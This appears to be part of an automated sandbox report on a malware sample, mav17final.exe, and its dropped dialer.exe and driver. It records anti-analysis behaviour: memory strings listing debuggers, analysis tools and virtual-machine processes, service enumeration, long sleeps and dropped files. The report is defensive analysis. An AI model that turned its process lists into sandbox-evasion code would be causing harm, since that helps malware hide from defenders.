Source: C:\Windows\System32\dwm.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "IDAG.EXE"
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "IDAG.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: IMPORTREC.EXE0
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "QEMU-GA.EXE"
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "IMPORTREC.EXE",
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "IDAQ.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXEP
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXEP
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "WINDBG.EXE"
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "WINDBG.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE0
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE0
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "X64DBG.EXE" 4
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2067450371.0000018718D1C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "OLLYDBG.EXE"03
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE0
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "OLLYDBG.EXE"
Source: mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE"
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "WIRESHARK.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXEP
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "IDAQ.EXE"`G
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE"0
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDAG.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXEP
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "IMPORTREC.EXE"P5
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "X64DBG.EXE",
Source: mav17final.exe, 00000002.00000002.2062309954.00000187173C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXESION
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IMPORTREC.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "VMUSRVC.EXE"
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE"@2
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "OLLYDBG.EXE",
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "VMUSRVC.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXEP
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D1C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE"ESS_LIST0O
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "WIRESHARK.EXE"
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "QEMU-GA.EXE",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "IDAQ.EXE"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "IDAG.EXE" H
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "IMPORTREC.EXE"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "X64DBG.EXE"

Source: C:\Users\user\Desktop\mav17final.exe

Code function: OpenSCManagerA,GetLastError,EnumServicesStatusExW,GetLastError,EnumServicesStatusExW,CloseServiceHandle,CloseServiceHandle,

2_2_00007FF8B9078620

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4376	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5421	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8013	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1553	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8016
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1633
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 613

Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\pyexpat.pyd	Jump to dropped file
Source: C:\ProgramData\dialer.exe	Dropped PE file which has not been started: C:\Windows\Temp\ujjtjyeszdwn.sys	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI19682\psutil\_psutil_windows.cp311-win_amd64.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\mav17final.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-15173

Source: C:\Users\user\Desktop\mav17final.exe	API coverage: 1.9 %
Source: C:\Windows\System32\conhost.exe	API coverage: 0.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2824	Thread sleep count: 4376 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2824	Thread sleep count: 5421 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5676	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 8013 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092	Thread sleep count: 1553 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1520	Thread sleep count: 8016 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 320	Thread sleep count: 1633 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5952	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7092	Thread sleep count: 613 > 30

Source: C:\Windows\System32\dwm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA487C0 FindFirstFileExW,FindClose,	0_2_00007FF79EA487C0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA53A64 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79EA53A64
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA53A64 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79EA53A64
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5D354 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	0_2_00007FF79EA5D354

Source: C:\Users\user\Desktop\mav17final.exe

2_2_00007FF8B9075AC0

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9074610 RtlGetVersion,GetSystemInfo,InitializeCriticalSection,

2_2_00007FF8B9074610

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwareuser.exe"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exep
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe0
Source: mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe",
Source: dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmwareuser.exe",
Source: dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2042899107.000001871B017000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000009.00000002.2080504239.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000000.2044022692.00007FF7C9B1C000.00000002.00000001.01000000.0000000D.sdmp, dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: mav17final.exe, 00000002.00000003.2041722275.0000018717654000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2053285690.0000018717615000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2056333676.0000018717657000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2062883775.0000018717657000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2054935651.0000018717628000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2033297099.0000018717654000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2058925754.0000018717657000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2058925754.0000018717629000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2051313400.0000018717657000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2058801834.0000018717629000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe0
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exep
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe"
Source: mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe"
Source: dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.exe",
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "qemu-ga.exe",
Source: mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe"
Source: mav17final.exe, 00000002.00000003.1998679602.000001871972D000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2043930165.0000018718E2A000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe",
Source: mav17final.exe, 00000002.00000002.2067450371.0000018718D68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.exe"
Source: mav17final.exe, 00000002.00000003.2002994495.00000187194F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe",
Source: dialer.exe, 00000009.00000003.2079395803.000001C5D4620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
